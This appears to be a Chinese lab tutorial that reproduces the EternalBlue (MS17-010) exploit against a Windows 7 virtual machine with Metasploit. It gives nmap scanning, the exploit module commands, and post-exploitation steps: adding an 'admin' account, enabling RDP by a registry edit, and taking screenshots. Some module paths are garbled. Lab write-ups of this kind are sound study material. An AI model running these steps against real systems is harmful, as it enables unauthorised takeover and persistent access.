引言
永恒之蓝介绍
永恒之蓝是指2017年4月14日晚,黑客团体Shadow Brokers(影子经纪人)公布一大批网络攻击工具,其中包含“永恒之蓝”工具,
“永恒之蓝”利用Windows系统的SMB漏洞可以获取系统最高权限。
漏洞介绍
漏洞编号:MS17-010,
CVE-2017-0143/0144/0145/0146/0147/0148
漏洞类型:缓冲区溢出漏洞
漏洞影响:Windows Vista SP2; Windows Server 2008 SP2 and R2 SP1; Windows 7 SP1; Windows 8.1; Windows Server 2012 Gold and R2; Windows RT 8.1; and Windows 10 Gold, 1511, and 1607; Windows Server 2016
什么是SMB协议
SMB(Server Message Block)协议是一种用于在计算机网络上共享文件、打印机和其他资源的通信协议。它最初由IBM开发,后来被微软采用并集成到Windows操作系统中。SMB协议允许计算机之间共享文件和打印机,以及访问远程计算机上的共享资源。SMB协议还提供了一些安全功能,例如身份验证和加密,以保护共享资源不被未经授权的用户访问。SMB协议是现代计算机网络中最常用的文件共享协议之一。
SMB协议的工作原理
客户端向服务器发送一个请求,请求访问共享资源。服务器收到请求后,会验证客户端的身份和权限,如果验证通过,则会向客户端发送一个会话消息,建立一个会话客户端和服务器之间的会话建立后,客户端可以向服务器发送各种请求,如读取、写入、删除文件等。服务器接收到请求后,会执行相应的操作,并将结果返回给客户端。当客户端不再需要访问共享资源时,它会向服务器发送一个关闭会话的请求,服务器会关闭会话并释放资源。另外:SMB协议支持多种传输协议,如TCP/IP、NetBEUI等,可以在局域网、广域网和互联网上使用。它还支持加密和数字签名等安全机制,以保护数据的安全性。
实验环境准备
1、Vmware虚拟机,用于搭建实验环境
2、kali linux攻击机
https://www.kali.org/get-kali/#kali-virtual-machines
3、Win7 x64靶机
4、关闭靶机的防火墙以及杀毒软件
注:使用kali作为攻击机,windows7(旗舰版)作为靶机,靶机IP地址未知,但kali和靶机均在同一个网段,可ping通,另外需检查是否已经有安全更新补丁(登录Nessus,对靶机系统进行扫描即可)
实验开始
查看靶机和攻击机ip地址及子网掩码
靶机ip地址
攻击机ip地址
使用nmap工具对该网段进行局域网存活主机扫描探测
在上面的ipconfig中已经知道了网段为(.110网段),对该网段进行探测
nmap -sP 192.168.110.0/24
使用nmap对ip地址进行扫描查看开放端口
如上图所示的查询结果,其中可以看见靶机的445端口是开启的状态,因此可以进行下一步操作
打开MSF
使用msfconsole进入msf框架,此框架为kail自带,可以直接进行查找MS17-010****永恒之蓝的组件,此界面每次都会有可能不一样,只要看见msf6即可
开车上高速了
使用search搜索搜索ms17_010
以上其中auxil iary/ scanner/ smb/ smb/ms17010为扫描模块,用于对目标是否存在永恒之蓝漏洞进行确认
exploit /wi ndows/ smb/ms17 010 eternalblue为攻击模块,用于对存在永恒之蓝漏洞的目标进行攻击
use auxil iary/ scanner/ smb/ smb/ms17010
使用模块进行分析并攻击
在上述这些中只需要知道两个命令:RHOSTS和THREADS,RHOSTS是要扫描的主机(主机段),THREADS是线程,默认是1,开始使用线程加快扫描。
设置攻击地址并run运行
set RHOST 目标IP地址
在上文中提到了登录Nessus,对靶机系统进行扫描即可知道是否存在MS17-010漏洞,在这里设置完ip后run也可以得知攻击的靶机是否存在永恒之蓝漏洞
设置攻击载荷,playload设置有很多种不同的版本,在这里直接套用即可
设置攻击机ip并开始最后运行
使用payload进行攻击:
use exploit/windows/smb/ms17_010_eternalblue
set RHOST 192.168.110.237
run或exploit
设置完攻击机ip地址后使用exploit进行运行攻击,最后显示WIN即攻击成功
攻击成功后演示
最后使用help即可查看你可以进行的操作,包括新建用户,打开摄像头,远程截图等等
shell获取控制台 就是WIN 的CMD
然后在查看当前用户:
net user
发现用乱码可以用这个取消乱码:
chcp 65001
screenshot进行远程截图
使用screenshot进行截图,如上所示图片保存在桌面
截图成功保存
然后添加一个admin用户密码也为admin
net user admin admin /add
开启3389
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f
rdesktop 192.168.110.237
总结
至此到这永恒之蓝已经成功复现,在期间也遇到了很多问题,包括虚拟机桥接、联网和IP问题、kail系统错误,以及等等问题,总体来说最后还是做出来了,对于永恒之蓝这个漏洞现在只存在于一些低版本且没有打补丁的机器上,window7以上版本基本上没有这个漏洞。